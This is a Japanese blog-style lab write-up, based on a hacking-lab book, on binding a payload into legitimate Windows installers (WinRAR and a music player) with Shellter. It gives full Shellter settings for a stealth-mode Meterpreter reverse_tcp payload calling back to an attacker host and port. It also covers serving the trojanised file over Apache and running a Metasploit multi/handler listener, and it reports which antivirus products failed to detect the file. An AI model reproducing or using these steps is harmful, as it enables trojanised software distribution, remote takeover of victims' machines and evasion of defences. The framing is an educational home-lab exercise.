はじめに
「ハッキングラボのつくりかた」(IPUSIRON)のP.342-347をもとにした記事です。
ペイロードに別のファイルを結合させて、その結合されたファイルが実行された時に2つのプログラム(ペイロードと別のファイル)を起動させる手段のことをバインドといいます。また、それを実現するプログラムをバインダーといいます。
今回は、同書に従ってWinRARのインストールプログラムにバインドを行う。また、他の実行形式プログラム(某音楽再生ソフトウェアのインストールプログラム。exeファイル)にもバインドを試してみる。
事前にWinRARのインストールプログラムと他の実行形式のプログラムをダウンロードしておく。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
Shellterをインストール
sudo apt install shellter
Shellterを実行してペイロードがバインドされた実行ファイルをつくる
事前にバインドさせる予定の実行ファイルのバックアップを作っても良い。ただし、ペイロードをバインドする際に、オリジナルの実行ファイルはバックアップされる。
cp hoge_source.exe hoge_backup.exe
shellterの実行
shellter
Wineの設定(Monoなど)に関するダイアログが出現した後、Shellterの起動画面(設定のウィザード)が現れる。
設定は以下のとおりとした
- Choose Operation Mode - Auto/Manual : A(Auto)
- PE Target : /home/kali/Downloads/winrar-x32-611jp.exe
- Enable Stealth Mode? : Y
- Use a listed payload or custom? : L
- Select payload by index : 1 (reverse_tcpの指定)
- SET LHOST : 192.168.1.100 (KaliLinuxのIPアドレス)
- SET LPORT : 4444
"PE Target"を指定した後に、"DisASM.dll wa created successfully!"が表示されるか確認する。ウインドウタイトルバーのカウントアップが終了するを待機する。
バインドさせるPE実行ファイル"PE Target"は、32bitのものを選択すること。shellterは64bitのものには対応していない。WinRARなら、ファイル名にx32が含まれるもの。
作成されたファイルをWindows10からダウンロードできるようにする。
sudo cp /home/kali/Downloads/winrar-x32-611jp.exe
sudo systemctl restart apache2
いつもの流れだが・・・
Windows10でダウンロードしようとすると、警戒される。
「発行元」が不明となっている。(当たり前だが)
「詳細表示」から「保持する」をクリックしてダウンロードを試みるも不可能。Defenderのリアルタイム保護がオンになっていたので、オフにした。
このファイルをVirustotalでスキャンした所、次のような結果となった。
34/68と半分のアンチウイルスサービスしか、検出できていない。
検出できたアンチウイルス(一部)
- ALYac
- Avira
- Avast
- BitDefender
- McAfee
- Microsoft
検出できなかったアンチウイルス(一部)
- ClamAV
- Comodo
- ESET-NOD32
- K7antivirus
- Kingsoft
- Symantec
・・・どうして、こうなった。。。
リバースシェルの待ち受けとバインドさせたファイルの実行
msfプロンプト上でリバースシェルの待受を行う。
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 4444
exploit
バインドさせたファイルをリアルタイム保護を無効にさせた状態でダブルクリックして実行すると、しばらくしてセッションが確立した。有効にすると、実行した段階でDefenderによって検知される。
某音楽再生ソフトのインストールプログラムでやってみた
shellterを再度実行させた。
設定は以下のとおりとした。WinRARと条件はほぼ同じ。
- Choose Operation Mode - Auto/Manual : A(Auto)
- PE Target : /home/kali/aimp.exe
- Enable Stealth Mode? : Y
- Use a listed payload or custom? : L
- Select payload by index : 1 (reverse_tcpの指定)
- SET LHOST : 192.168.1.100 (KaliLinuxのIPアドレス)
- SET LPORT : 4444
Windows側でプログラムを実行した所、きちんとセッションが確立した。
おわりに
Windows10のWindows Defenderの検出能力の高さがよく言われるが、その片鱗を見せつける?結果となった。